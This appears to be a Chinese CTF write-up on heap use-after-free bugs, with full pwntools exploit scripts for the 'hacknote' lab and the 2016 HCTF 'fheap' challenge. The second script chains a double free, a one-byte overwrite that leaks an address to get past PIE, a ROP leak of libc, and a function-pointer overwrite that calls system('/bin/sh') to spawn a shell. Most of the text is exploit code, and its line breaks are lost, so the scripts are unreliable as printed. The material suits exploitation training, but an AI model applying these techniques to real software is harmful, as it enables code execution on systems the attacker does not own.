heap|heap uaf

漏洞场景:
释放内存后没有置NULL指针,而且引用时还没有验证,访问到被释放的内存.
释放内存后没有置NULL指针,当下次申请内存时又申请到这块内存,且下次访问时,堆内数据已经改变.常用于堆
里面有函数指针的情况,比如类的虚表
1.实例 lab 10 hacknote
题目分析
1.申请一个堆存放8字节的结构体,结构体第一项是函数指针,第二项是数据堆.申请大小可控
2.申请的结构体指针存放在一个全局数组中
3.删除时释放内存后没有置NULL
4.打印时调用函数指针打印第二项的数据堆,且只是用指针数组的内容不为NULL判断,因为没有置NULL,
所以可以引用释放后的内存
【heap|heap uaf】exp:

#!/usr/bin/env python # -*- coding: utf-8 -*-from pwn import *r = process('./hacknote')def addnote(size, content): r.recvuntil(":") r.sendline("1") r.recvuntil(":") r.sendline(str(size)) r.recvuntil(":") r.sendline(content)def delnote(idx): r.recvuntil(":") r.sendline("2") r.recvuntil(":") r.sendline(str(idx))def printnote(idx): r.recvuntil(":") r.sendline("3") r.recvuntil(":") r.sendline(str(idx))gdb.attach(r) magic = 0x08048986addnote(32, "aaaa")#0 addnote(32, "ddaa")#1delnote(0) delnote(1)addnote(8, p32(magic))printnote(0)r.interactive()

  1. 实例2016 HCTF fheap
    题目分析
    1.创建和删除2个功能,创建时分配固定大小结构体内存,第4个qword存放自定义的函数指针,如果输入
    字符串大小超过15字节,则第一个qword存放该字符串堆内存的地址,否则不分配内存,直接将字符串存放
    在结构体的前2个qword处.
    2.创建的结构体内存地址又是另一个结构体的成员,通过结构体数组存放,且第一个dword为是否已释放
    标识,第2个qword指向创建的结构体地址.删除时判断该结构体地址是否为0,而不是判断那个标识,调用
    函数指针将堆上结构体释放.没有对指针清0
    3.没有清0指针+判断逻辑错误导致double free和uaf双重漏洞
总结: 需要通过信息泄漏绕过pie,aslr,通过rop绕过nx,利用了fastbin attack,double free和uaf堆漏洞执行rop最终getshell.
exp:
#coding:utf-8 from pwn import * from LibcSearcher import * p = process('./pwn') elf = ELF('./pwn')def create(input_size, input_string): print p.recvuntil('3.quit\n') p.sendline('create ') print p.recvuntil('size:') p.sendline(str(input_size)) print p.recvuntil('str:') p.sendline(input_string) return def delete(input_id): print p.recvuntil('3.quit\n') p.sendline('delete ') print p.recvuntil('id:') p.sendline(str(input_id)) print p.recvuntil('Are you sure?:') p.sendline('yes') returnputs_got = elf.got['puts'] puts_plt = elf.plt['puts'] #gdb.attach(p) create(5, 'caf\x00') create(5,'asd\x00') delete(0) delete(1) delete(0)payload = 'a'*8 payload += 'a'*8 payload += p8(0x20)+'b'*7 payload += '\x0b'#1 byte overwrite bypass pie,覆盖一字节去调用puts函数将该指令地址输出,通过偏移计算得到程序加载基址,绕过pie create(len(payload),payload) delete(1) p.recvuntil('b'*7) call_puts_addr = p.recvuntil('\n')[:-1] call_puts_addr = u64(call_puts_addr.ljust(8,'\x00')) print 'call_puts_addr: '+hex(call_puts_addr) print 'imagebase: '+hex(call_puts_addr-0xd0b) imagebase = call_puts_addr-0xd0b #调用puts函数指令偏移 puts_plt_addr = imagebase + puts_pltdelete(0)#gdb.attach(p) payload = 'a'*8 payload += 'a'*8 payload += p8(0x20)+'b'*7 payload += p64(0x00000000000011cc+imagebase)#0x00000000000011cc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret, 让指令到栈里面指向rop指令create(0x20,payload)print p.recvuntil('3.quit\n') p.sendline('delete ') print p.recvuntil('id:') p.sendline(str(1)) print p.recvuntil('Are you sure?:') payload2 = 'yes\x00aaaa' payload2 += p64(0x00000000000011d3+imagebase)#0x00000000000011d3 : pop rdi ; ret payload2 += p64(imagebase+puts_got) payload2 += p64(puts_plt_addr)#将puts_got内容打印出来 payload2 += p64(0xBC9+imagebase)#ret to main,再次执行main函数 p.sendline(payload2) puts_addr = p.recvuntil('\n')[:-1] puts_addr = puts_addr.ljust(8,'\x00') puts_addr = u64(puts_addr) print 'puts_addr:'+hex(puts_addr)libc = LibcSearcher('puts',puts_addr) libcbase = puts_addr - libc.dump('puts') print 'libcbase: '+hex(libcbase)system_func = libcbase+libc.dump('system') print 'system addr: '+hex(system_func)delete(0)#gdb.attach(p) payload = '/bin/sh; ' payload += 'a'*8 payload += p8(0x20)+'b'*7 payload += p64(system_func)#再次覆盖函数指针 create(0x20,payload)delete(1)#触发system函数调用p.interactive()

    推荐阅读